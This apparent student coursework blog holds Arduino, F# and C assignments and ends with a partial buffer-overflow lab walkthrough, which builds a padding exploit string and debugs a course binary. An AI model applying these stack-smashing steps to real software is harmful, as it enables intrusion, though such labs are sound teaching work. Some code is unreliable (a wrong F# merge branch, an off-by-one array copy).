Saturday, September 6, 2014

Basic Arduino Part2: connect with button


 Code for this project.

int LED = 12;
int BUTTON =4;

void setup(){
 
  pinMode(LED,OUTPUT);
  pinMode (BUTTON, INPUT);
 
}

void loop (){
  if(digitalRead(BUTTON)==HIGH)
  {
    digitalWrite(LED,HIGH);
  } else
  {digitalWrite(LED,LOW);} 
 
}


Demonstration:


Basic Arduino LED blink:

this video is presenting of how to connect led wire from arduino board to Solderless bredboard mini with 30k resister 

Wednesday, May 7, 2014

Dynamic and Static

1) If something is done dynamically, this means…
a) It is done at compile-time
b) It is done at link-time
c) It is done at load-time
d) It is done at run-time
2) Syntax refers to the…
a) Tokens of a language
b) Abstract Syntax Tree of a language
c) Grammar rules of a language 
d) Meaning behind a language

3) If something is done statically, this means…
a) It is done at compile-time 
b) It is done at link-time
c) It is done at load-time
d) It is done at run-time
4) Semantics refers to the…
a) IR of a language
b) Control Flow Graph of a language
c) Grammar rules of a language
d) Meaning behind a language
5) Which phase is *not* part of the back-end of a typical compiler:
a) Semantic analyzer
b) Code generator
c) Optimizer
d) Scanner
6) Your talking with a friend at another university, and he/she mentions reading about compilers and data
flow analysis. Data flow analysis is based on what kind of internal representation?
a) Context Free Grammar
b) Control Flow Graph 
c) Abstract Syntax Tree
d) Finite State Machine
7) Continuation of previous question… What is data flow analysis used for?
a) Detect various syntax errors
b) Detect various lexical errors
c) Detect various semantic errors 
d) Symbol table construction

C++ 11 Lambda Expression

Consider the following lambda expression in C++11


[&] (int i)
{
   if (A[i] > max)
       max = A[i];
}

a) Lambda expressions, whether in c++11 or F# , require the notation of a closure . Define the concept of a "Closure" and provide an example base on the lambda expression shown above.

A closure is the outside data needed n order to execute a lambda expression . For example, in the lambda expression shown above , the lambda expression needs the array A and the variable max.

b) What closure semantics are being used in the lambda expression above?

by reference (&) sign

c) explain in more detail

A closure by reference means the lambda expression has references to the need vaiables, i,e " pointers" For variable max, this is necessary so we can change the value of max if we find larger element in the array.

d) Why did the designers of c++11 include the concept of closure semantics?

closure semantics are included in c++11 to allow programmers to control 3 thngs

1) Whether the lambda expression has access to outside data or not("none")
2)whether the lambda expression can change("&") or not change ("=") a varible declared outside the scope of the lambda. " prevent side-effects"
3) to control the copying of data that might slow down the performance

Functional Programming F# makeAbsolute

Suppose L is a List of integers write a function in F# called makeAbsolute that returns a new list where every element is non-negative

for Example : L = [1;-2;3;0;-5]
new L will be L = [1;2;3;0;5]

let  rec  makeAbsolute (L) =
     match L with
| [  ] -> [ ] // base case if the list is empty return an empty list
|  _ ->  if L.Head < 0 // if the head of the list is negative
            then -L.Head :: makeAbsolute(L.Tail) // negate the head of the list to make it positive then //concatenate to the list
            else   L.Head :: makeAbsolute(L.Tail)//other wise concatenate normal element to the list

Another way in high functional programming

let abs(x) = if x< 0 then -x else x  // create a function that convert negative element to positive

let  rec makeAbsolute(L) =
  match L with
 | [  ] -> [ ] //again base case if the list is empty return an empty list
 |  _   -> abs(L.Head) :: makeAbsolute(L.Tail) // apply the abs function to the head of the list then recursively //apply to all element in the list



Functional programming F # Tail Element

Write a function that given a list , return the last element in the list (assume the list always contain at least one element.

let rec tailElement (L) =     // passing L array list
match L with                     // match the element in the list
| [E] -> E                          // base case , if there is one thing in the list return that element
| _ -> tailElement(L.Tail)
 // if there are more than one element walk from the second element(L.Tail) of the list  at the end of the list we will get the last element


Merge two List in F#

Merge is a function that takes two sorted lists in ascending order , and returns a sorted list in ascending order for example :

merge ([1;100;200],[2;3;4;100;101;300])
returned list [1;2;3;4;100;100;101;200;300]


let rec merge (L1,L2) =
match L1,L2 with
| [ ] ,[ ] ->[ ]
| _ ,[  ] ->L1
| [ ] ,_  -> L2
| _ , _ ->   if L1.Head < L2.Head then  L1.Head::merge(L1.Tail , L2)
                else  L1.Head::merge(L1, L2.Tail)


let R2 = merge([1;100;200],[2;3;4;100;101;300])
printfn "%A" R2

Friday, March 7, 2014

PPMimageEditor using combination of C# and F# functional language
















description of the assignment



this is one of the many ways of how to implement high order functional program within GUI interface.


here is a code for F# part

module PPMImageLibrary

#light
//

// <<Plaimanus Lueondee>>
// U. of Illinois, Chicago
// CS341, Spring 2014
// Homework 6
//

//
// DebugOutput:
//
// Outputs to console, which appears in the "Output" window pane of
// Visual Studio when you run with debugging (F5).
//
let rec private OutputImage(image:int list list) =
  match image with
  | [ ] -> printfn "**END**"
  |  _  -> printfn "%A" image.Head
           OutputImage(image.Tail)
         
let DebugOutput(width:int, height:int, depth:int, image:int list list) =
  printfn "**HEADER**"
  printfn "W=%A, H=%A, D=%A" width height depth
  printfn "**IMAGE**"
  OutputImage(image)


//
// TransformFirstRowWhite:
//
// An example transformation: replaces the first row of the given image
// with a row of all white pixels.
//
let TransformFirstRowWhite(depth:int, image:int list list) =
 
  let numCols = image.Head.Length // number of columns in first row
  let AllWhite = [ for i in 1 .. numCols -> depth ] // white is RGB = depth depth depth
  AllWhite::image.Tail // first row all white :: followed by rest of original image

//helper function for grayScale function
let rec modifyGray (image:int list) =
    match image with
    |[] ->[]
    |_->
        let R = image.Head
        let G = image.Tail.Head
        let B = image.Tail.Tail.Head
        let gray =(R+G+B)/3
        [gray;gray;gray]@modifyGray(image.Tail.Tail.Tail)

//F# -Base PPM image Library for GrayScale button
let rec grayScale(image:int list list)=
    match image with
    |[]->[]
    |_->
           let gray = modifyGray(image.Head)
           gray::grayScale(image.Tail)

//run a new list with an invert order
//F#base PPM image Library for Vertical Flip Button
let flip(image:int list list) =
 
   let r = List.rev image
   r

//helper function for horizontal flip
let rec re(image:int list) =
    match image with
    |[]->[]
    |_->
        let R = image.Head
        let G = image.Tail.Head
        let B = image.Tail.Tail.Head
        let newList = List.rev [R;G;B]//reverser red green blue in each pixel
        newList@re(image.Tail.Tail.Tail)//concatenate wtih all pixel


//F# -base PPM image Library for HorizontalFlip Button
let rec horizontalFlip(image:int list list) =
    match image with
    |[]->[]
    |_->
        let reverse = re(image.Head)
        let reverse = List.rev reverse//reverser the whoile thing after reverse the pixel
        reverse::horizontalFlip(image.Tail)

//helper function for invert image
let rec inverter(depth:int , image:int list) =
    match image with
    |[]->[]
    |_->
        let R = image.Head
        let G = image.Tail.Head
        let B = image.Tail.Tail.Head
        let subtract = [depth-R;depth-G;depth-B]//depth value - the amount of red gree blue in each phixel
        subtract@inverter(depth,image.Tail.Tail.Tail)

//F# -base PPM image Library for Invert Button
let rec invert(depth:int , image:int list list)=
    match image with
    |[]-> []
    |_->
        let inv = inverter(depth,image.Head)//send to a helper function
        inv::invert(depth,image.Tail)//recursively call function



//Posterization function helper
let rec myster(image:int list ) =
    match image with
    |[]->[]
    |_->
        let R = image.Head
        let G = image.Tail.Head
        let B = image.Tail.Tail.Head
        let gray =(R+G+B)/3
        let r =List.rev [R;G;B]
        if gray < 60 then
                            [R*0;G*0;B*0]@myster(image.Tail.Tail.Tail)
                            elif gray < 75 then
                                              [255;255;255]@myster(image.Tail.Tail.Tail)
                                            elif gray <128 then
                                                [255;0;0]@myster(image.Tail.Tail.Tail)
                                                           elif gray < 255 then
                                                               [0;255;0]@myster(image.Tail.Tail.Tail)
                                                               else
                                                                    [0;0;255]@myster(image.Tail.Tail.Tail)





//F# -base PPM image Library     for Mysterious button
let rec mysterious(image:int list list) =
    match image with
    |[]->[]
    |_->
        let m = myster(image.Head)
        m::mysterious(image.Tail)




//helper function for WriteP3Image
let rec concat(image:int list list) =
    match image with
    |[] -> []
    |_->
    image.Head @ concat(image.Tail)
// WriteP3Image:
//
// Writes the given image out to a text file, in "P3" format.  Returns true if successful,
// false if not.
//

let WriteP3Image(filepath:string, width:int, height:int, depth:int, image:int list list) =
 
    let firstList  = [width; height; depth] @ concat(image)
    let convertString = firstList |> List.map string
    let All= ["P3"] @ convertString
    System.IO.File.WriteAllLines(filepath, All)
 
    true  // success

Sunday, January 12, 2014

factorial ,fibonacci, isPrime, Greatest Common Divisor (Using Dijkstra's Algorithm), exponentiation, recursion


For this lab, write a C program that will implement the following recursive algorithms:
factorial
fibonacci
isPrime
Greatest Common Divisor (Using Dijkstra's Algorithm)
exponentiation

/*plaimanus Lueondee
*652654620
*Prof Pat Troy
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define FALSE 0
#define TRUE 1
typedef int bool;
int debug = FALSE;
/////////////////////////////////////////////////////
int factorial(int n)
{
static int depth = -1;
if( n ==0 || n==1) {
return 1;
} else {
int retVal = n * factorial(n-1);
return retVal;
}
}
////////////////////////////////////////////
int fibonacci(int n) {
static int depth = -1;
if( n == 0 || n == 1) {
return n;
} else {
int retVal = fibonacci(n-1) + fibonacci(n-2);
return retVal;
}
}
/////////////////////////////////////////////////////
bool factorInRange(int m, int n) {
static int depth = 0;
if( m >= n ) {
return FALSE;
} else if(n % m == 0) {
return TRUE;
} else {
int retVal = factorInRange(m+1, n);
return retVal;
}
}
///////////////////////////////////////////////////////
bool isPrime(int n) {
bool retVal = (n < 2) ? FALSE : !factorInRange(2, n);
return retVal;
}
///////////////////////////////////////////////////
int gcd(int m, int n) {
static int depth = -1;
if(m == n) {
return m;
} else {
int retVal = (m > n) ? gcd(m-n, n) : gcd(m, n - m);
return retVal;
}
}
///////////////////////////////////////////////////////////////
int exponential(int m, int n) {
static int depth = -1;
if(n==0) {
return 1;
} else if( n == 1) {
return m;
} else if(n%2 == 0) {
int temp = exponential(m, n/2);
int retVal = temp * temp;
return retVal;
} else {
int retVal = m * exponential(m, n - 1);
return retVal;
}
}
/////////////////////////////////////////////////////////////////////////
int main (int argc, char **argv) {
debug = FALSE;
if( argc > 2 ) {
printf("Usage: %s [-d]\n", argv[0]);
exit(0);
}
if( argc == 2 && argv[1][0] == '-' && argv[1][1] == 'd' ) {
debug = TRUE;
}
bool quit = FALSE;
while( !quit ) {
int input = 0;
printf("0. to quit the program\n");
printf("1. factorial(positiveInteger)\n");
printf("2. Fibonacci(positiveInteger)\n");
printf("3. isPrime(positiveInteger)\n");
printf("4. gcd(firstNumber, secondNumber)\n");
printf("5. exponential(Base,Exponent)\n");
printf("\nPlease enter option that you would like to pursue =>");
scanf("%d", &input);
int number1 = 0;
int number2 = 0;
if (input == 0){
quit = TRUE;
}
else if( input == 1){
printf("Enter your number to be factorial=> ");
scanf("%d", &number1);
if( number1 < 0 ) {
printf("Please Enter possitive number\n\n");
} else {
printf("\n%d! is %d\n\n", number1, factorial( number1 ) );
}
}
else if (input == 2){
printf("Enter your fibonacci number: ");
scanf("%d", &number1);
if( number1 < 0 ) {
printf("Please Enter possitive number\n\n");
} else {
printf("\nfibonacci(%d) is %d\n\n", number1, fibonacci( number1 ) );
}
}
else if(input == 3){
printf("Enter your number to check if it is a prime number or not: ");
scanf("%d", &number1);
bool flag = isPrime( number1 );
char *fmt = flag ? "%d is a prime number\n\n" : "%d is NOT a prime number\n\n";
printf(fmt, number1);
}
else if(input == 4){
printf("Enter your first and second numbers: ");
scanf("%d %d", &number1, &number2);
if( number1 < 0 || number2 < 0 ) {
printf("Please enter positive numbers\n\n");
} else {
printf("The GCD of %d and %d is %d\n\n", number1, number2, gcd(number1, number2));
}
}
else if (input == 5){
printf("Enter your base and your exponent numbers: ");
scanf("%d %d", &number1, &number2);
if( number2 < 0 ) {
printf("Please enter positive number\n\n");
} else {
printf("%d^%d is %d\n\n", number1, number2, exponential(number1, number2));
}
}
}
return 0;
}

open the first command line argument for reading and the second command line argument for writing in C


University of Illinois Chicago
CS211 – Programming Practicum
Fall 2013
Programming Project 1
Due: Thursday 8/29/2012 at 11:59pm
A simple Copy command
For this lab, you are to write a simple version of the Linux/Unix copy command: cp.
This is to be written in the C programming language.
The command is to take two command line arguments:
1. the original filename
2. the destination filename
The program should first verify that there are two command line arguments. These arguments are
to be used as names for file input/output.
The program is to open the first command line argument for reading and the second command
line argument for writing. Then it should read the contents of the first file until it reaches the end
of the file and place those contents into the second file.
Both files need to be closed before the program terminates.

#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
FILE* inFile;
FILE* outFile;
char c[100];
if (argc!=3)
{
printf("Usage: copyfile inFile outFile");
return 0;
}
inFile  = fopen (argv[1], "r");
outFile = fopen (argv[2], "w");
if (inFile == NULL)
{
printf("Error opening input file");
}
else
{
while ((fgets(c, 100, inFile)) != NULL) {
fputs(c, outFile);
}
}
fclose (inFile);
fclose (outFile);
return 0;
}

MAZE program UIC


Maze Solving
For this lab, write a C program that will find its way through a maze using the depth-first search
algorithm. This program takes input from a file specified in the command line argument that
contains two integer values per line of input:




The first line gives the size of the 2-D maze, valid values are >= 1
The second line gives the coordinates of the starting position in the maze
The third line gives the coordinates of the ending position in the maze
The remaining lines in the file give the coordinates of blocked positions in the maze
The following shows an example of such an input file. The coordinates are given with the row
listed first and the column listed second. A maze of NxM has rows numbered from 1 to N.
10 20
1 1
10 20
5 1
4 2
3 3
1 10
2 9
3 8
4 7
5 6
6 5
7 4
8 3
This input creates the following maze will 11 blocked positions:
size: 10, 20
start: 1, 1
end: 10, 20
**********************
*s........*..........*
*........*...........*
*..*....*............*
*.*....*.............*
**....*..............*
*....*...............*
*...*................*
*..*.................*
*....................*
*...................e*
**********************
The blocked positions and the edges of the maze are filled in with *'s. The start position is filled
in with a 's'. The end position in filled in with a 'e'. The other positions are filled in with periods.

/*plaimanus Lueondee
*Credit: Professor Pat Troy
*fall2013
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define FALSE 0
#define TRUE 1
//credit Maz.c fall2013
//////////////////////////////
typedef int bool;
typedef struct Node{
int x;
int y;
struct Node* next;
} NODE;
/////////////////////////////
typedef struct mazeStruct
{
char *arr;
int rows;
int columns;
int x_start;
int y_start;
int end_x;
int end_y;
int size_of_x;
int size_of_y;
} MAZE;
///////////////////////////////
typedef NODE * NodePointer;
void printMaze(MAZE);
void freeMaze(MAZE);
int debug= FALSE;
NodePointer innitialize_stack(MAZE);
MAZE make_a_Maze(char *);
////////////////////////////////////////////////////////////
void push(NodePointer *top, int x, int y)
{
NodePointer temp = (NodePointer) malloc( sizeof(NODE) );
temp->x = x;
temp->y = y;
temp->next = *top;
*top = temp;
}
///////////////////////////////////////////////////////////
void pop(NodePointer *top) {
if(*top!=NULL )
{
NodePointer temp = *top;
*top = (*top)->next;
free(temp);
}
}
//////////////////////////////////////////////////////////
void top(NodePointer t, int *x, int *y)
{
if(t!=NULL )
{
*x = t->x;
*y = t->y;
}
else
{
printf("Stack is Empty\n");
exit(-1);
}
}
/////////////////////////////////////////////////////////
void clearStack(NodePointer *top)
{
while( *top!= NULL)
{
pop(top);
}
}
//////////////////////////////////////////////////////////
bool isEmpty(NodePointer top)
{
return (top==NULL);
}
///////////////////////////////////////////////////////////
void printStack(NodePointer top)
{
int n;
if( top!=NULL)
{
printStack( top->next );
printf("(%d, %d)\n", top->x, top->y );
}
}
/////////////////////////////////////////////////////////
NodePointer innitialize_stack(MAZE m) {
NodePointer stack = NULL;
bool end = FALSE;
char *temp= (char *) malloc(sizeof(char) * m.rows * m.columns );
memcpy(temp, m.arr, (m.rows*m.columns));
push( &stack, m.x_start, m.y_start );
while( !isEmpty( stack ) && !end ) {
if( debug== TRUE ){
printf("List stack:");
printStack( stack );
printf("\n");
}
int x = -1, y = -1;
top( stack, &x, &y );
if( m.end_x == x && m.end_y == y )
{
end = TRUE;
break;
}
if( m.arr[(x*m.columns + y)+1]=='.'
|| m.arr[(x*m.columns + y)+1]=='E')
{
push( &stack , (((x*m.columns + y)+1)/m.columns),
(((x*m.columns + y)+1) % m.columns));
m.arr[(x*m.columns + y)+1] = 'x';
}
else if(m.arr[(x*m.columns + y)+m.columns]=='.'
||m.arr[(x*m.columns + y)+m.columns]=='E')
{
push( &stack, (((x*m.columns + y)+m.columns)/m.columns),
(((x*m.columns + y)+m.columns) % m.columns));
m.arr[(x*m.columns + y)+m.columns] = 'x';
}
else if(m.arr[(x*m.columns + y) - 1]=='.'
||m.arr[(x*m.columns + y) - 1]=='E')
{
push( &stack,  (((x*m.columns + y) - 1) / m.columns),
(((x*m.columns + y) - 1 )% m.columns));
m.arr[ (x*m.columns + y)- 1] = 'x';
}
else if(m.arr[(x*m.columns + y) - m.columns]=='.'
||m.arr[(x*m.columns + y)- m.columns]=='E' )
{
push( &stack,(((x*m.columns + y) - m.columns)/ m.columns),
(((x*m.columns + y) - m.columns)% m.columns));
m.arr[(x*m.columns + y) - m.columns] = 'x';
}
else
{
pop( &stack );
}
}
memcpy(m.arr, temp,(m.rows * m.columns) );
return stack;
}
//////////////////////////////////////////////////////////////////////////////////
MAZE make_a_Maze(char *fileName) {
MAZE m1;
int x_position;
int y_position;
int i,j;
FILE *src;
if ( ( src = fopen( fileName, "r" )) == NULL )
{
printf("Cannot open input file: %s\n", fileName);
exit(-1);
}
/* read in the size, starting and ending positions in the maze */
fscanf (src, "%d %d", &m1.size_of_x, &m1.size_of_y);
fscanf (src, "%d %d", &m1.x_start,   &m1.y_start);
fscanf (src, "%d %d", &m1.end_x,     &m1.end_y);
m1.rows = m1.size_of_x+2;
m1.columns = m1.size_of_y+2;
/* Allocate memory for the maze array */
int size = m1.rows * m1.columns;
m1.arr = (char *) malloc( sizeof(char) * size );
/* initialize the maze to empty */
for (i = 0; i < m1.size_of_x+2; i++)
for (j = 0; j < m1.size_of_y+2; j++)
m1.arr[i*m1.columns + j] = '.';
/* mark the borders of the maze with *'s */
for (i=0; i < m1.size_of_x+2; i++)
{
m1.arr[i*m1.columns + 0] = '*';
m1.arr[i*m1.columns + m1.size_of_y+1] = '*';
}
for (i=0; i < m1.size_of_y+2; i++)
{
m1.arr[i] = '*';
m1.arr[(m1.size_of_x+1)*m1.columns + i] = '*';
}
/* mark the starting and ending positions in the maze */
m1.arr[m1.x_start*m1.columns + m1.y_start] = 'S';
m1.arr[m1.end_x*m1.columns + m1.end_y] = 'E';
/* mark the blocked positions in the maze with *'s */
while (fscanf (src, "%d %d", &x_position, &y_position) != EOF)
{
m1.arr[x_position*m1.columns + y_position] = '*';
}
return m1;
}
/////////////////////////////////////////////////////
void printMaze(MAZE m1) {
int i,j;
for (i = 0; i < m1.size_of_x+2; i++)
{
for (j = 0; j < m1.size_of_y+2; j++)
printf ("%c", m1.arr[i*m1.columns + j]);
printf("\n");
}
}
/////////////////////////////////////////////////////////
void freeMaze(MAZE m) {
free(m.arr);
}
/////////////////////////////////////////////////////////
int main (int argc, char **argv)
{
int i,j;
debug= FALSE;
char *fileName = NULL;
if( argc > 3 ) {
printf("Usage: %s [-d] <maze data file>\n", argv[0]);
exit(-1);
}
if( 2 == argc ) {
fileName = argv[1];
}
if( 3 == argc ) {
fileName = argv[2];
if( argv[1][0] == '-' && argv[1][1] == 'd' ) {
debug = TRUE;
}
}
MAZE m1 = make_a_Maze( fileName );
printf("Input Maze\n");
printf ("size : %d, %d\n", m1.size_of_x, m1.size_of_y);
printf ("start: %d , %d\n", m1.x_start, m1.y_start);
printf ("end  : %d, %d\n", m1.end_x, m1.end_y);
printMaze( m1 );
NodePointer stack = innitialize_stack( m1 );
if( isEmpty( stack ) ) {
printf("\nSorry there is no way to reach the end\n");
} else {
printf("\nHere is a path through the Maze \n");
int old_x = -1;
int old_y = -1;
NodePointer temp = stack;
while( NULL != temp ) {
int x = temp->x;
int y = temp->y;
if(m1.arr[x*m1.columns + y]!='E'
&&  m1.arr[x*m1.columns + y]!= 'S' ) {
if((x+1)==old_x) {
m1.arr[x*m1.columns + y] = '#';
} else if((x-1)==old_x ){
m1.arr[x*m1.columns + y] = '#';
} else if((y+1)==old_y ){
m1.arr[x*m1.columns + y] = '#';
} else if((y-1)==old_y){
m1.arr[x*m1.columns + y] = '#';
} else {
printf("\n Stack corrdinates: (%d, %d)\n", x, y);
exit(-1);
}
}
old_x = x;
old_y = y;
temp = temp->next;
}
printMaze( m1 );
printf("\nCoordinates in the path are:\n");
printStack( stack );
printf("\n");
}
clearStack( &stack );
freeMaze( m1 );
return 0;
}

find and replace program UIC


You are to submit the programs for this lab via the Assignments Page in Blackboard.
To help the TA, name your file with your net-id and the assignment name, like:
• ptroy1LabX.c
Examples for the Project
Assume the input file contains the following:
#h#j#
hello
happy birthday
#ra#ar#
radar
are you ready
pirate radio rating
##This is an Error – Target String has length of zero#
this line should still use the target string of ra
###
The above begins with one target/replacement pair followed by two original strings, then has a
second target/replacement pair followed by 3 strings. The first target/replacement pair tells your
program to replace all occurrences of h in an original string with a j. Thus the first original string
of hello becomes jello and the second original string of happy birthday becomes jappy
birtjday. The second target/replacement pair tells your program to replace all occurrences of ra
with ar. Thus the original string of radar becomes ardar, the original string of are you ready
becomes are you ready (no replacements are done since the target string does not exist), and the
original string of pirate radio rating becomes pirate ardio arting.

" Code "
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define MAX 100
char *separate (char Origin[MAX], char subw1[MAX], char subw2[MAX])
{
char *remove;
char *look = "#";
remove = strtok (Origin,look);
strcpy (subw1, remove);
remove = strtok(NULL,look);
strcpy (subw2, remove);
remove = strtok(NULL,look);
return subw1, subw2;
}
char* str_replace(const char *buff, const char *stringOriginal, const char *stringNew) {
char *strret, *p = NULL;
char *posnews, *posold;
size_t szold = strlen(stringOriginal);
size_t sznew = strlen(stringNew);
size_t n = 1;
if(!buff)
return NULL;
if(!stringOriginal || !stringNew || !(p = strstr(buff, stringOriginal)))
return strdup(buff);
while(n > 0) {
if(!(p = strstr(p+1, stringOriginal)))
break;
n++;
}
strret = (char*)malloc(strlen(buff)-(n*szold)+(n*sznew)+1);
p = strstr(buff, stringOriginal);
strncpy(strret, buff, (p-buff));
strret[p-buff] = 0;
posold = p+szold;
posnews = strret+(p-buff);
strcpy(posnews, stringNew);
posnews += sznew;
while(n > 0) {
if(!(p = strstr(posold, stringOriginal)))
break;
strncpy(posnews, posold, p-posold);
posnews[p-posold] = 0;
posnews += (p-posold);
strcpy(posnews, stringNew);
posnews += sznew;
posold = p+szold;
}
strcpy(posnews, posold);
return strret;
}
int main(int argc, char **argv) {
char input_string[MAX];
char word_original[MAX];
char word_to_replace[MAX];
char word_to_compare[MAX];
int notDone =0;
printf("please enter your # sign follow by your original Word # and your replacement Word then # to enclose\n");
do{
fgets(input_string,sizeof(input_string),stdin);   //get user input for string
if(input_string[0]=='#')
goto there;
else if(input_string[0]!='#'){
goto here;
}
else if(input_string[0]=='#' && input_string[1]=='#')
{
printf("There is no string to replace\n");
goto here;
}
else if(input_string =="###"){
printf("### in a row Exit.\n");
notDone =1;
return 0;
}
there:
printf("you enter =>                %s" ,input_string);
separate(input_string, word_original, word_to_replace);
fgets(word_to_compare,sizeof(word_to_compare),stdin);
printf("original string     is =>   %s\n",word_to_compare);
printf("string after chaged is =>   %s\n", str_replace(word_to_compare,word_original,word_to_replace ));
fgets(input_string,sizeof(input_string),stdin);
if(input_string[0]=='#'&& input_string[1]=='#')
{
printf("There is no string to replace\n");
}
else if(input_string[0]=='#' && input_string[1]=='#')
{
printf("There is no string to replace\n");
goto here;
}
else if(input_string[0]=='#'){
goto there;
}
else if(input_string[0]!='#'){
goto here;
}
here:
printf("original string      is=>  %s\n",input_string);
printf("string after changed is=>  %s\n", str_replace(input_string,word_original,word_to_replace ));
}while(notDone==0);
return 0;
}


Binary search , linear search and coppy array to another

CS211 – Programming Practicum
Fall 2013
Programming Project 3
Due: Thursday, 9/312/13 at 11:59 pm
Write a program that will contain the following:
• Write a function that will make a copy the values from one array to another array.
Suggested prototype:
void arrayCopy (int fromArray[], int toArray[], int size);
• Write your own function that will sort an array in ascending order. You may use
whatever sorting algorithm you wish. Suggested prototype:
void sort (int arr[], int size);
• Write your own function that will perform a linear search on the unsorted array.
The function is to “return” two values. The first should be the position in the array
where the value was found or -1 if the value was not found. The second is the
number of comparisons needed to determine if/where the value is located in the
array. Suggested prototype:
int lsearch (int arr[], int size, int target, int* numComparisons);
• Write your own function that will perform a binary search on the sorted array.
The function is to “return” two values. The first should be the position in the array
where the value was found or -1 if the value was not found. The second is the
number of comparisons needed to determine if/where the value is located in the
array. Suggested prototype:
int bsearch (int arr[], int size, int target, int* numComparisons);
Inside of main:
• read in integer input from standard input and store these values into an array.
The values will have a “terminal value” of -999. So you read in these values in a
loop that stops when the value of -999 is read in. The use of informative prompts
is required for full credit. You may not assume how many numeric values are
given on each line. The use of a scanf() with the following form is suggested to
read in the values:
scanf (“%d”, &val);
• make a copy of the integer array using the function described above
• sort one of the arrays (using the function described above), leave the other array
unsorted
• read in integer input from standard input and search for these values using both
search functions described above (i.e. perform a linear search on the value in the
unsorted array and perform a binary search on the value in the sorted array).
Print out whether the value was found or not found and the number of
comparisons needed to determine whether the value exists or not in each
algorithm. Loop for integer values until the terminal value of -999 is read in. The
use of informative prompts AND descriptive result output is required for full credit.
You may assume the input will never have more than 1000 values to store in the array.

#include <stdio.h>
#include <stdlib.h>
#define MAX 1000  //define spot inside the arry no more than 1000
int binarySearch (int arr[], int size, int target, int* numComparisons)
{
int low =0;
int high = size-1;
int mid =(low+high)/2;
while(low<=high){
*numComparisons+=1;
if(arr[mid]<target)
low=mid+1;
else if (arr[mid]==target)
return mid;
else
high=mid-1;
mid =(low+high)/2;
}
if (low>high)
return -1;
}
int linear_search (int arr[], int size, int target,int* numCompare)
{
int i,found;
for (i=0; i<size; i++){
*numCompare+=1;
if (arr[i] == target){
return i;
}//end if
}//end for
return -1;
}
void swap ( int array[], int x, int y)
{
int NumberOfSwaps =0;
int temp = array[ x];
array[ x] = array[ y];
array[ y] = temp;
NumberOfSwaps++;   // increment number of swaps
}//end swap()
void selectionSort( int a[ ], int size)
{
int pass, j;
//printf( "Sorting using selection sort...");
for (pass = 0; pass < (size-1); pass++) {
// find smallest remaining value
int indexOfSmallest = pass;
for (j = pass+1; j < size; j++) {
if (a[ j] < a[ indexOfSmallest]) {   // Store new smallest value when found
indexOfSmallest = j;
}
}//end for ( int j...
// swap smallest element found on this pass into place
swap( a, pass, indexOfSmallest);
}//end for (int pass..
//printf( "\n");
}
void arrayCoppy (int fromArray[], int toArray[], int size)
{
int index;
for(index=0; index<=size; index++)
{                             // loop from the 0 element to the rest
toArray[index]=fromArray[index];
// stored unsortArray value to a new copy one
}
return;                                             //return nothing
}
int main(){
int user_input;                         //user input
int unsortArray[MAX];                   //original unsorted array
int cppArray[MAX];                      //copied unsorted array
int Numcp=0; //howmany time it takes to get results
printf("please enter number to add in the array:");//promp user input
int i=0;                                //increment
int count=0;                             //counting size of the array
do {
scanf("%d", &user_input);
if (user_input != -999) {
unsortArray[count++] =user_input;
}
} while (user_input!= -999);
int j;
arrayCoppy(unsortArray,cppArray,count); // coppy the unsorted array to a new array
selectionSort(cppArray,count);
printf("\nPlease enter your number to search in unsorted array by linear search:\n");
int target;
int found;
scanf("%d",&target);
found=linear_search(unsortArray,count,target,&Numcp);
if(found!=-1){
printf("\n\nTarget number %d has been found at location unsorted array[%d]\n",target,found);
}
else {
printf("\nThe target does not exit in the array\n");
}
printf("Numcompare=:%d\n",Numcp);
printf("\nThese are sorted array\n\n");
for(j=0;j<count;j++)
{
printf("%d:%d\n",j,cppArray[j]);
}
printf("\nPerform searching in sorted arry by binary search.....\n\n");
int found2;
Numcp=0;
found2=binarySearch(cppArray,count,target,&Numcp);
if(found2!=-1){
printf("\nTarget number %d has been found at location  arr[%d]\n",target,found2);
}
else{
printf("The target does not exit\n");
}
printf("Number of comparison:%d\n",Numcp);
return 0;
}

Bufbom phase 2


level 0 and level 1  are in my blog please check them out if you have no idea of what I am trying to approach
Level 2: Firecracker
A much more sophisticated form of buffer attack involves supplying a string that encodes actual machine in-
structions. The exploit string then overwrites the return pointer with the starting address of these instructions
on the stack. When the calling function (in this case getbuf) executes its ret instruction, the program
will start executing the instructions on the stack rather than returning. With this form of attack, you can get
the program to do almost anything. The code you place on the stack is called the exploit code. This style of
attack is tricky, though, because you must get machine code onto the stack and set the return pointer to the
start of this code
to start with
What do you have to know are:
1 your cookie number: <=wish you already known
2 your exploit address :<= the return address of the bufffer overflow
3 your global_value address: <= it assign to be 0x00 so you have to replace your cookie to this address
So first start :
it similar idea to phase 0 and 1 to solve this :
Within the file bufbomb there is a function bang having the following C code:
int global_value = 0;
void bang(int val)
{
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}
first: generate your exploit string bang.txt file

[plueonde@bert buflab-handout]$ vim bang.txt
in vim  you can use any number to keep track of your string I personally use 61 for letter a for 36 times I add 30 four times to generate my overflow total of 40 characters long
61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 30 30 30 30
save and quit vim, Then translate to string in hex2raw out put in bang-raw
so after we have bang-raw.txt file we have to use it in gdb to see the address of our overflow addres
[plueonde@bert buflab-handout]$ ./hex2raw < bang.txt > bang-raw.txt
[plueonde@bert buflab-handout]$ gdb bufbomb
GNU gdb (GDB) Red Hat Enterprise Linux (7.0.1-45.el5)
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /mnt_nfs/home3/ugrad3/plueonde/Downloads/buflab-handout/bufbomb...(no debugging symbols found)...done.
(gdb) b *getbuf+17
Breakpoint 1 at 0x8049093
(gdb) r -u plueon2 < bang-raw.txt
Starting program: /mnt_nfs/home3/ugrad3/plueonde/Downloads/buflab-handout/bufbomb -u plueon2 < bang-raw.txt
Userid: plueon2
Cookie: 0x34fd7256
